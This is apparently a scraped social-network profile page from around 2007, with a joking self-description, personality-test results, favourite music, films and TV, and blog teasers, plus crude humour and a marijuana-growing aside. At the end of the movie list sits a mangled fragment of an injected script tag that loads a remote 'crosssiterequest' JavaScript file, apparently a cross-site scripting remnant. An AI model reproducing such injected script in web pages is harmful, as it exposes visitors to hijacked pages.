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About Me

Let me bore your pants off
I'm made of chicken and win in a 75% 2374% ratio
How Will I Die Quiz
You will die at the age of 99
You will die by drowning in your own body sweat
Find out how you will die at Quizopolis.com
More of you people keep finding me so I guess I'll take this mildy more seriel like.
I'm the blue monkey, romour has it that I'm funny or witty or something of that ilk. When told this I get an over whelming urge to try to be funny and witty, which, by laws of bastards makes me less comical.
I'll stick to just ignoring all the bastards that talk to me. It's probably for the best.
I'm 25, woo, single, boo and living here which is pretty cool.
I spend far too much times with and around computers and all things geeky. I'm trying to do less geeky things but I can't think of any.
I over think everything, have a major concentration issue and am very lazey.
What else can I say to apeal to all you losers, I have quite a big superiority complex, which, quite frankly is down to the fact that I'm so much more intelligent than all of you.
I get bored easily and am already losing interest in this botched attempt at re-writing my profile.
Fuck it
To save time and effort, this is me in a nut shell.
Advanced Global Personality Test Results
Extraversion |||||||||||||||||| 80%
Stability |||||||||||||||| 70%
Orderliness |||||||||| 36%
Accommodation |||||||||||| 43%
Interdependence |||||||||||||| 56%
Intellectual |||||||||||||||||||| 90%
Mystical |||||||||| 36%
Artistic |||||||||||| 50%
Religious || 10%
Hedonism |||||||||| 36%
Materialism |||||||||||| 50%
Narcissism |||||||||| 36%
Adventurousness |||||||||||| 50%
Work ethic |||||||||||| 43%
Self absorbed |||||||||||||||||| 76%
Conflict seeking |||||||||| 36%
Need to dominate |||||||||||||||| 70%
Romantic |||||| 30%
Avoidant |||||| 23%
Anti-authority |||||||||||||||| 70%
Wealth || 10%
Dependency |||||||||| 36%
Change averse |||||||||||||||||| 76%
Cautiousness |||||||||||| 50%
Individuality |||||||||||||||| 70%
Sexuality |||||||||||||||||| 76%
Peter pan complex |||||||||||||||||||| 90%
Physical security |||||||||||| 50%
Physical Fitness |||||||||||||||| 64%
Histrionic |||||||||||||||||||| 90%
Paranoia |||||||||| 36%
Vanity |||||||||| 36%
Hypersensitivity |||||||||||| 50%
Female cliche |||||||||| 36%
I quite like custard...... and jam.
now fuck off
help, help, I'm stuck in a nut shell
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I'd also like to find a way of posting pure itchy to people I don't like.

My Interests

I've also recently started dancing, not profesionally but you know, like a twat.

I'd like to meet:

The odd, the kooky, the all together spooky, anyone who has an interesting storey. Someone that can make me laugh. Someone that I can watch crap teen movies with and won't complain. Someone who will let me explain things to them to make me feel smart even if they already know what I'm talking about. Someone that can make me feel stupid but in a good way.

Oh and nice boobs and a nice bum :PGeek stuff, music, Movies, science, computers, Horror
I know far too much about weed too so if you've got any growing pains ask away.
I'm also into comics (Re geek stuff, hell I'm a loser), the alternative old 60's/70's hippy underground stuff like crumb etc.
Pushing stuff over
Making little tiny sculptures out of little tiny sculcptures
Following people
I like smiling at random people and then acting all sheepish when women smile back...... what?
Sitting
sleeping

born to be mild baby, hell yeah

Music:

(Hed) P.E. , 10 years after , 1300 ,mics, AC/DC , acid junkies , air , aphex twin, at the drive in, basement jax, beasty boys, blue oyster cult, bluetones, BT, cake, crystal method, deejay punk roc, Hendrix, rob, zombie, the smiths, manson (not maralyn), leftfield, lemon jelly, mushroom head, suede, deep purple, dj dara, dj format, dj hype, doof, dope, eve 6, foo fighters, gamma ray, golden shower, green day, hallucinogen, harvey danger, hefner, hux flux, idle wild, infecterd mushroom, iron maiden, karma to burn.

Movies:

I've seen a couple, generally don't like remakes, I've spent far far far far too long sitting in my room, getting stoned and watching movies.
I like horror, sci-fi, weird films, crap american teen comedy, cheesey stuff lots of types of films unless they have the rock in because unfortunatly I am unable to "smell" what he is cooking, I'd presume some kind of gumbo, or shrimp.
Mmmm a film list if I must
Shawshank Redemption, Full metal jacket, Jacobs lader, Scarface, goodfellas, Itallian job, IT, Friday the 13th (cos I shit myself when I saw it when I was 9), wizard of speed and time (very odd), terminator 2, aliens, Joe Dirt, dawn of the dead, bubble boy, bio dome, war of the worlds (original), joe's apartment, Willy Wonka and the chocolate factory (original), the goonies, laberynth, the breakfast club, over the edge, dazed and confused, Joe versus the volcano, gleaming the cube, asian wank night, shindlers fist, itty bitty gang bang lots ,cumdumpster 9, thaiwan "where life life is cheap", the remarkable storey of the missing hat more to come as I think of it..... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("..1...{}");}..

Television:

Television is the DEVIL!!
Sky TV especially, although, peep show, spaced, greys anatomey, heros, weeds, aqua teen, monkey dust, Lost, Gilligans island, Dead Like Me, The Munsters, adam and joe show, home movies, myth busters, secret life of..., Jayce and the wheeled warriors, prison break are all excelent shows.
TV's just moreish, like crack.

Heroes:

If bigfoot had like a goat pet that could fly and defeat evil in a cave in maybe arizona or keneticut then the guy who he'd rent the cave off's son's best mate who is like invisible and like so sit in dressingrooms and watch this girl called sue who's father once met nixon in a bar call "Okonors drunken bastards" which is frequented be this guy with a motorbike that does like 307Mph while pulling a wheely who wears these magical lethers that are made for him buy this mutant sheep boy that lives in utar in a tralor next this woman who once pulled this guy that might or might not of been eminem at a forenor concert in Brussles run by someone that has no name because this guy that stole his name colletcts them to fill a quota that he was set by the government back in the 80's before it got broken up (you know the one I mean) by this guy that could totally make anything out of anything, he was kick ass. Your done reading crap, now go out side and play...

My Blog

Energy = win

Spun out of a conversation at the pub I've been thinking about energy.More specifically the fact that it can not be created or destroyed.This makes it's existance, untill proven otherwise, infinate.En...
Posted by Hoi Hoi on Sun, 08 Jul 2007 06:30:00 PST

I went to see 28 week later

59%Mingle2 - Free Online Dating...
Posted by Hoi Hoi on Wed, 23 May 2007 02:00:00 PST

I was going to add it to my profile.....

But if I keep doing that everytime I find odd music that makes me smile it'll just get silly...so... you know... still not gay ...
Posted by Hoi Hoi on Thu, 05 Apr 2007 11:40:00 PST

smile if you mean it

joke: f( n ) = x/y2 walks into a bar and asks the barman, "do you do sandwiches in here?" the barman replies, "sorry we don't cater for functions" Those of you that are smirking about now probably ne...
Posted by Hoi Hoi on Fri, 16 Mar 2007 04:09:00 PST

It's all numbers

I've come to the conclusion that religon is just a miss interpritation of the mechanics of the universe. A some what bold proposition I know and at the moment the idea was realise I was, in true form,...
Posted by Hoi Hoi on Thu, 15 Mar 2007 04:39:00 PST

Getting Brian beat up, attempt 1

I'm at work and subsiquently slighly bored. my plan is to get Brian beat up by a celebrity, should be mildly comical. I messaged hulk hogan, because he's cool Hi Mr Hulk Good day mr hogan, exce...
Posted by Hoi Hoi on Fri, 16 Feb 2007 08:24:00 PST

bored monkey

From deep within a rancid mindless pit, a thought stirs.A musing of such magnitude it's pointlessness is deafening.This still born sparkle of genius gets quenched in a sea of boredom as the motivation...
Posted by Hoi Hoi on Mon, 27 Nov 2006 03:27:00 PST

Bad Brain

Good Brain: doo be doo be doo be doo doo da da da ba ba ba ba doo dooBad Bran: Kiiiilllllll JeeeffffffffGood Brain: What?Bad Bran: Jam a fork into his eye and gouge out his brain!!! Good Brain: ooooo...
Posted by Hoi Hoi on Sun, 26 Nov 2006 08:40:00 PST

Being a twat

Patiently waiting out the eternal seconds of this angst drenched woe,longing for it's departure to vacant shores, leaving but a blury memory of a lost time and a feeling of warmth in it's wake...
Posted by Hoi Hoi on Fri, 17 Nov 2006 01:02:00 PST

The Amazing home give away

So, it's me, and if I were in charge of the country I'd instigate many a crazey scheme Today's idea is the amazing home give away. Here's how it pans out. Each week everyone in the country puts £2 int...
Posted by Hoi Hoi on Mon, 26 Jun 2006 08:28:00 PST